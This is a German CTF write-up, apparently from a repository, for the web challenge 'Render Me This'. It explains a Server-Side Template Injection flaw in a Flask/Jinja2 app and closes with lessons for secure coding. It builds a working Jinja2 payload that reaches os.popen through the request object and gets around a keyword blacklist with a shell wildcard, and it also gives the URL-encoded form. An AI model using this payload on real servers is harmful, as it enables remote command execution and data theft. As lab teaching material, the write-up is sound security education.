Files
HIP7CTF_Writeups/de/render_me_this.md
m0rph3us1987 a79656b647 Added writeups
2026-03-08 12:22:39 +01:00

4.9 KiB

Render Me This

Willkommen zum Write-up für Render Me This. Diese Challenge fällt in die Kategorie "Web" und demonstriert eine schwerwiegende Schwachstelle in modernen Web-Frameworks, bekannt als Server-Side Template Injection (SSTI).

Uns wird eine "Profile Viewer"-Anwendung präsentiert, die den Namen eines Benutzers entgegennimmt und eine benutzerdefinierte Begrüßung rendert. Unser Ziel ist es, die Rendering-Engine auszunutzen, um die Flagge vom Server zu lesen.


1. Erste Erkundung

Die Challenge stellt uns eine URL und den Quellcode zur Verfügung. Wenn wir die Seite besuchen, sehen wir eine einfache Seite, die "Guest" begrüßt.

Die URL sieht wahrscheinlich so aus: http://challenge-url/?name=Guest

Wenn wir den Parameter name zu Test ändern, aktualisiert sich die Seite zu "Hello, Test!". Dies bestätigt, dass unsere Eingabe auf der Seite reflektiert wird.

2. Quellcode-Analyse

Untersuchen wir die bereitgestellte app.py, um zu verstehen, wie die Seite generiert wird.

@app.route('/')
def index():
    # Get the 'name' parameter
    name = request.args.get('name', 'Guest')

    # 1. Check for Blacklisted words
    for bad_word in BLACKLIST:
        if bad_word in name.lower():
            return "Hacker detected! ..."

    # 2. Vulnerable Template Construction
    template = f'''
    ...
            <h1>Hello, {name}!</h1>
    ...
    '''

    # Render the template
    return render_template_string(template)

Die Schwachstelle: SSTI

Der kritische Fehler liegt darin, wie der template-String konstruiert wird. Der Entwickler verwendet einen Python f-String (f'''... {name} ...'''), um die Benutzereingabe direkt in den Template-Quellcode einzufügen, bevor er ihn an render_template_string übergibt.

In Flask (Jinja2) wird {{ ... }} verwendet, um Code innerhalb eines Templates auszuführen. Durch Injizieren von {{ 7*7 }} können wir den Server bitten, 7*7 zu berechnen. Wenn die Seite "49" anzeigt, haben wir Codeausführung.

Das Hindernis: Die Blacklist

Die Anwendung versucht, sich mit einer Blacklist zu sichern: BLACKLIST = ["config", "self", "flag"]

Das bedeutet, wir können nicht die Standard-SSTI-Payloads wie {{ config }} oder {{ self.__dict__ }} verwenden. Wir können auch nicht einfach cat flag.txt ausführen, weil das Wort "flag" verboten ist.

3. Entwicklung des Exploits

Wir müssen einen Weg finden, auf das Python os-Modul zuzugreifen, um Systembefehle auszuführen, ohne die gesperrten Wörter zu verwenden.

In Python-Web-Frameworks wie Flask ist das request-Objekt oft im Template-Kontext verfügbar. Über request können wir die Python-Objekthierarchie durchlaufen, um den globalen Geltungsbereich zu erreichen und Module zu importieren.

Schritt 1: Zugriff auf Built-ins Wir können das request-Objekt verwenden, um auf den globalen Geltungsbereich zuzugreifen: request.application.__globals__

Von dort aus können wir auf die eingebauten Funktionen von Python zugreifen: request.application.__globals__.__builtins__

Schritt 2: Importieren von OS Jetzt können wir die __import__-Funktion verwenden, um das os-Modul zu laden: request.application.__globals__.__builtins__.__import__('os')

Schritt 3: Ausführen von Befehlen Mit dem os-Modul können wir popen verwenden, um Shell-Befehle auszuführen, und read, um die Ausgabe zu erhalten: .popen('ls').read()

Schritt 4: Umgehung des "flag"-Filters Wenn wir versuchen, cat flag.txt auszuführen, blockiert uns die Anwendung, weil es "flag" enthält. Wir können dies mit Shell-Wildcards umgehen. Statt flag.txt können wir fl* sagen. cat fl* passt auf flag.txt, enthält aber nicht den verbotenen String "flag".

4. Der finale Payload

Alles zusammen sieht unser Payload so aus:

{{ request.application.__globals__.__builtins__.__import__('os').popen('cat fl*').read() }}

Wir müssen diesen Payload URL-kodieren, bevor wir ihn an den Server senden.

Kodierte URL: ?name=%7B%7B%20request.application.__globals__.__builtins__.__import__(%27os%27).popen(%27cat%20fl*%27).read()%20%7D%7D

5. Die Lösung

Das Senden des Payloads an den Server führt den Befehl aus, liest die Flaggen-Datei und rendert das Ergebnis auf der Seite.

Flag: {flag:SSTI_Is_Pow3rful_Even_With_Basic_Filters}


Gelernte Lektionen

  • Kontext ist wichtig: Verketten Sie niemals Benutzereingaben direkt in einen Template-String.
  • Verwenden Sie das Framework korrekt: Übergeben Sie Daten immer als Kontextvariablen an die Render-Funktion.
    • Verwundbar: render_template_string(f"Hello {name}")
    • Sicher: render_template_string("Hello {{ name }}", name=user_input)
  • Blacklists versagen: Der Versuch, bestimmte Wörter ("flag", "config") zu blockieren, ist selten effektiv. Hacker können fast immer einen Weg finden, sie zu umgehen (z.B. String-Verkettung, Kodierung, Wildcards).

Frohes Hacken!